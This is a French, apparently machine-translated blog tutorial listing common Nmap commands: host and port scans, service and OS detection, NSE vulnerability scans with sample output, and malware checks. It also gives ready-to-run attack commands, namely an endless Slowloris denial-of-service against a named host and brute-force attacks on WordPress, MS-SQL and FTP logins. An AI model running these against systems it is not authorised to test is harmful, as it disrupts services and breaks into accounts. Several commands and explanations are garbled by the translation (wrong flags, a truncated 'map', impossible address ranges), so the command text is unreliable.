Arif Akyüz
Producteur de contenu et expert en cybersécurité
Cet article fournit des informations sur les commandes NMAP couramment utilisées.
nmap 10.196.1.100 | Démarre une analyse Nmap de base par rapport à l’adresse IP. |
nmap arifakyuz.com | Démarre une analyse Nmap pour les noms DNS tels que WEB |
nmap -sp 192.168.1.0/24 | Le type d’analyse le plus célèbre est l’analyse ping Nmap (souvent appelée car Nmap est utilisé pour effectuer des analyses ping) et constitue le moyen le plus simple de détecter les hôtes sur n’importe quel réseau. |
Rechercher des ports spécifiques ou analyser toutes les plages de ports sur un serveur local ou distant | |
nmap -p 1-65535 localhost | Dans cet exemple, nous avons analysé tous les ports 65535 de notre ordinateur localhost. |
nmap -p 80.443 8.8.8.8 | Nmap peut analyser tous les ports possibles, mais vous pouvez également rechercher des ports spécifiques qui rapporteront des résultats plus rapides. Voir ci-dessous |
nmap 10.196.2.1 192.168.1.1 | Essayons d’analyser plusieurs adresses IP. Pour ce faire, vous devez utiliser la syntaxe suivante |
nmap 1.1.1.1,2,3,4 | Vous pouvez également analyser des adresses IP consécutives: il analyse de la même manière qu’il analyse1.1.1.11.1.1.21.1.1.31.1.1.4 |
nmap 8.8.8.0/28 | Vous pouvez également utiliser nmap pour analyser des plages IP CIDR entières, par exemple This analyse 14 plages IP consécutives. 8.8.8.18.8.8.14 |
nmap 8.8.8.1-14 | une alternative est d’utiliser ce type de plage |
nmap 8.8.8.* | Vous pouvez même utiliser des caractères génériques pour analyser toute la plage d’adresses IP de classe C, par exemple : Il s’agit de l’adresse IP de 256 . 8.8.8.18.8.8.256 |
nmap -p 8.8.8.* –exclure 8.8.8.1 | Si vous devez exclure des adresses IP spécifiques de l’analyse de plage IP, vous pouvez utiliser l’option « –exclure » comme vous le voyez ci-dessous |
Analysez les ports les plus populaires
nmap --top-ports 20 192.168.1.106
La sortie sera la suivante.
(Remplacez le nombre de sorties qui seront affichées par le nombre souhaité, à savoir « 20 ». Selon lui, les résultats diminueront ou augmenteront.)
[root@securitytrails:~]nmap --top-ports 20 localhost
Démarrage de Nmap 6.40 ( http://nmap.org ) au 2018-10-01 10:02 EDT
Rapport d’analyse Nmap pour localhost (127.0.0.1)
L’hôte est en place (latence de 0,000016s).
Autres adresses pour localhost (non analysées) : 127.0.0.1
SERVICE DE L’ÉTAT DU PORT
21/tcp ftp fermé
22/tcp fermé ssh
23/tcp fermé telnet
25/tcp fermé smtp
Domaine fermé 53/tcp
80/tcp filtré http
110/tcp fermé pop3
111/tcp rpcbind fermé
135/tcp fermé msrpc
139/tcp fermé netbios-ssn
imap fermé 143/tcp
443/tcp filtré https
445/tcp fermé microsoft-ds
Imaps fermés 993/tcp
Pop3 fermés 995/tcp
1723/tcp pptp fermé
3306/tcp fermé mysql
3389/tcp fermé ms-wbt-server
5900/tcp fermé vnc
8080/tcp fermé http-proxy
Analyser les hôtes et les adresses IP lus à partir d’un fichier texte
Dans ce cas, Nmap est également utile pour lire les fichiers qui contiennent des hôtes et des adresses IP.
Supposons que vous créiez une liste .txt fichier contenant les lignes suivantes :
192.168.1.106
cloudflare.com
microsoft.com
securitytrails.com
Le paramètre « -iL » vous permet de lire à partir de ce fichier et d’analyser tous ces hôtes pour vous:
Liste nmap -iL.txt
Enregistrer les résultats de votre analyse Nmap dans un fichier
Dans l’exemple suivant, nous ne lirons pas à partir d’un fichier, mais nous exporterons/enregistrerons nos résultats dans un fichier texte :
Sortie nmap -oN.txt arifakyuz.com
Nmap a également la possibilité d’exporter des fichiers au format XML, voir l’exemple suivant:
Sortie nmap -oX.xml securitytrails.com
Désactiver la résolution de noms DNS
Si vous avez besoin d’accélérer un peu vos analyses, vous pouvez choisir de désactiver la résolution DNS inversée pour toutes vos analyses. Il suffit d’ajouter le paramètre « -n ».
[root@securitytrails:~]nmap -p 80 -n 8.8.8.8
À partir de Nmap 7.60 ( https://nmap.org ) à 2018-10-01 09:15 -03
Rapport d’analyse Nmap pour 8.8.8.8
L’hôte est en place (latence de 0,014 s).
SERVICE DE L’ÉTAT DU PORT
80/tcp filtré http
Voyez la différence dans la navigation normale activée par la résolution DNS :
[root@securitytrails:~]nmap -p 80 8.8.8.8
À partir de Nmap 7.60 ( https://nmap.org ) à 2018-10-01 09:15 -03
Rapport d’analyse Nmap pour google-public-dns-a.google.com (8.8.8.8)
L’hôte est en place (latence de 0,014 s).
SERVICE DE L’ÉTAT DU PORT
80/tcp filtré http
Analyse avec exécution rapide + détection du système d’exploitation et du service
L’utilisation du paramètre « -A » vous permet d’effectuer la détection du système d’exploitation et du service, et nous le combinons également avec « -T4 » pour une exécution plus rapide. Consultez l’exemple suivant :
nmap -A -T4 cloudflare.com
Le résultat que nous avons obtenu pour ce test est le suivant :
Détection des versions de service/démon
cela peut être fait en utilisant les paramètres -sv
nmap -sV localhost
Comme vous pouvez le voir ici :
[root@securitytrails:~]nmap -sV localhost
À partir de Nmap 7.60 ( https://nmap.org ) à 2018-10-01 09:28 -03
Rapport d’analyse Nmap pour localhost (127.0.0.1)
L’hôte est en place (latence de 0,000020s).
Autres adresses pour localhost (non analysées) : ::1
Non affiché : 997 ports fermés
VERSION DU SERVICE D’ÉTAT DU PORT
111/tcp open rpcbind 2-4 (RPC #100000)
631/tcp tasses ipp ouvertes 2.2
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (utilise VNC, SOAP)
Détection de service effectuée. Veuillez signaler tout résultat incorrect à https://nmap.org/submit/.
Nmap terminé : 1 adresse IP (1 hôte vers le haut) analysée en 7,96 secondes
Analyse à l’aide des protocoles TCP ou UDP
L’une des choses que nous aimons le plus à propos de nmap est qu’il fonctionne à la fois pour les protocoles TCP et UDP. Bien que la plupart des services s’exécutent sur TCP, vous pouvez également obtenir un grand avantage en analysant les services basés sur UDP. Voyons quelques exemples.
Sortie d’analyse TCP standard :
[root@securitytrails:~]nmap -sT 192.168.1.1
À partir de Nmap 7.60 ( https://nmap.org ) à 2018-10-01 09:33 -03
Rapport d’analyse Nmap pour 192.168.1.1
L’hôte est en place (latence de 0,58 s).
Non affiché : 995 ports fermés
SERVICE DE L’ÉTAT DU PORT
80/tcp ouvrir http
1900/tcp ouvrir upnp
btx 20005/tcp ouvert
49152/tcp ouvert inconnu
49153/tcp ouvert inconnu
Nmap terminé : 1 adresse IP (1 hôte vers le haut) analysée en 1,43 seconde
Résultats de l’analyse UDP à l’aide du paramètre « -sU » :
[root@securitytrails:~]nmap -sU localhost
À partir de Nmap 7.60 ( https://nmap.org ) à 2018-10-01 09:37 -03
Rapport d’analyse Nmap pour localhost (127.0.0.1)
L’hôte est en place (latence de 0,000021s).
Autres adresses pour localhost (non analysées) : ::1
Non affiché : 997 ports fermés
SERVICE DE L’ÉTAT DU PORT
68/udp ouvert|filtré dhcpc
111/udp ouvrir rpcbind
5353/udp ouvert|filtré zeroconf
Détection CVE à l’aide de Nmap
L’une des plus grandes fonctionnalités de Nmap que tous les administrateurs réseau et système ne connaissent pas est ce qu’on appelle le « Nmap Scripting Engine » (connu sous le nom de NSE). Ce moteur de script permet aux utilisateurs d’utiliser un ensemble prédéfini de scripts ou d’écrire leurs propres scripts à l’aide du langage de programmation Lua.
Il est très important d’utiliser des scripts Nmap pour automatiser les analyses du système et des vulnérabilités. Par exemple, si vous souhaitez exécuter un test de vulnérabilité complet sur votre cible, vous pouvez utiliser les paramètres suivants :
nmap -Pn –script vuln 192.168.1.105
Exemple de sortie :
[root@securitytrails:~]nmap -Pn --script vuln 192.168.1.105
À partir de Nmap 7.60 ( https://nmap.org ) à 2018-10-01 09:46 -03
Résultats du script de pré-analyse :
| broadcast-avahi-dos:
| Hôtes découverts :
| 224.0.0.251
| Après NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Les hôtes sont tous en place (pas vulnérables).
Rapport d’analyse Nmap pour 192.168.1.105
L’hôte est en place (latence de 0,00032s).
Non affiché : 995 ports fermés
SERVICE DE L’ÉTAT DU PORT
80/tcp ouvrir http
|_http-csrf : Impossible de trouver des vulnérabilités CSRF.
|_http-dombased-xss : Impossible de trouver un XSS basé sur DOM.
| http-slowloris-check:
| VULNÉRABLE:
| Attaque DOS Slowloris
| État : VULNÉRABLE PROBABLE
| ID : CVE:CVE-2007-6750
| Slowloris essaie de garder de nombreuses connexions au serveur Web cible ouvertes et maintenues
| ils s’ouvrent le plus longtemps possible. Il accomplit cela en ouvrant des connexions à
| le serveur Web cible et l’envoi d’une demande partielle. Ce faisant, il affame
| les ressources du serveur http provoquant un déni de service.
|
| Date de divulgation : 2009-09-17
| Références:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss : Impossible de trouver des vulnérabilités XSS stockées.
|_http-vuln-cve2014-3704 : ERREUR : Échec de l’exécution du script (utilisez -d pour déboguer)
1900/tcp ouvrir upnp
btx 20005/tcp ouvert
49152/tcp ouvert inconnu
49153/tcp ouvert inconnu
Comme vous pouvez le voir, dans ce test de vulnérabilité, nous avons pu détecter une attaque CVE (Slowloris DOS).
Démarrer DOS avec Nmap
Les fonctionnalités de Nmap semblent ne jamais s’arrêter, et grâce au NSE, il nous permet même de lancer des attaques DOS contre nos tests réseau.
Dans notre exemple précédent (#12), nous avons vu que l’ordinateur hôte était vulnérable à l’attaque Slowloris, et maintenant nous allons tenter d’exploiter cette vulnérabilité en lançant une attaque DOS dans une boucle pour toujours:
nmap 192.168.1.105 -max-parallélisme 800 -Pn --script http-slowloris --script-args http-slowloris.runforever=true
INFORMATIONS: Le contenu suivant n’est pas partagé pour que vous puissiez mener une cyberattaque, il est partagé pour sensibiliser le public à d’éventuelles cyberattaques et pour protéger votre entreprise et vos appareils contre les cyberattaques avec ces techniques.
La personne qui effectue le processus est responsable de l’utilisation malveillante de ces codes.
Lancement d’attaques par force brute
Le NSE est vraiment fascinant – il contient des scénarios pour tout ce que vous pouvez imaginer. Voir les trois exemples suivants de BFA par rapport à WordPress, MSSQL et serveur FTP:
Attaque par force brute WordPress:
nmap -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.1.105
Attaque par force brute contre MS-SQL :
map -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 192.168.1.105
Attaque par force brute FTP :
nmap --script ftp-brute -p 21 192.168.1.105
Détection des infections par des logiciels malveillants sur des hôtes distants
Il peut détecter les logiciels malveillants et les portes dérobées en exécutant des tests approfondis sur plusieurs services de système d’exploitation populaires tels que Nmap, Identd, Proftpd, Vsftpd, IRC, SMB et SMTP. Il dispose également d'un module pour vérifier les marqueurs de logiciels malveillants populaires sur les serveurs distants et intègre les bases de données Safe Browsing et VirusTotal de Google.
Voici comment effectuer une analyse courante des logiciels malveillants :
nmap -sV --script=http-malware-host 192.168.1.105
Ou en utilisant la vérification des logiciels malveillants de Google:
nmap -p80 --script http-google-malware infectedsite.com
Exemple de sortie :
80/tcp open http |_http-google-malware.nse: L’hôte est connu pour distribuer des logiciels malveillants
Nmap FAQ
Nmap est l’un des scanners de port et de réseau les plus populaires depuis des décennies. Pourtant, les nouveaux utilisateurs posent souvent des questions sur son fonctionnement et son utilisation légale, et recherchent même d’autres logiciels similaires de temps en temps.
Nmap est-il gratuit ?
Oui, Nmap est entièrement gratuit pour vous de télécharger et d’utiliser. Il s’agit également d’un projet open source (sous licence) afin que vous puissiez le réviser, le modifier et le développer en fonction de vos besoins.
Nmap est-il légal ?
Nmap est légal; cependant, cela dépend entièrement de l’objectif de l’utilisateur de l’utiliser. L’analyse de votre propre réseau est parfaitement légale, mais l’analyse de réseaux tiers peut vous mettre en difficulté juridique si vous n’êtes pas autorisé en fonction du pays et de l’État où vous vivez.
Il existe de nombreuses nuances et opinions sur la légalité de la numérisation portuaire. Pour vous aider à éviter les problèmes juridiques, nous vous recommandons de lire les résultats officiels, qui sont détaillés sur la page des questions juridiques du site Web de Nmap.
Comment cela fonctionne-t-il ?
Nmap fonctionne en envoyant et en recevant des paquets réseau et en les vérifiant par rapport à la base de données d’empreintes digitales et à d’autres méthodes pour détecter rapidement les hôtes et les adresses IP sur un réseau. Il effectue ensuite une analyse sur les données pour répondre rapidement avec les résultats sur votre console. La plupart des analyses Nmap nécessitent que vous les effectuiez avec un accès root (admin) sous Linux et Unix. Lorsque vous utilisez Windows, il est toujours recommandé d'exécuter Nmap avec un compte administrateur.
Existe-t-il d’autres logiciels similaires comme Nmap ?
Il existe des tonnes d’alternatives à Nmap, y compris Masscan, Rustcan et autres. Bien que certains de ces logiciels similaires offrent des temps d’analyse plus rapides, presque aucun n’offre autant d’options et de résultats de haute qualité qu’une analyse complète Nmap.
Pour la plupart des utilisateurs, même pour les utilisateurs avancés, Nmap est suffisant. Si vous n'aimez pas les terminaux, vous pouvez toujours consulter ZenMap, la version gui de Nmap.
ressources:
Top 16 des commandes Nmap : Guide de formation à l’analyse des ports Nmap (securitytrails.com)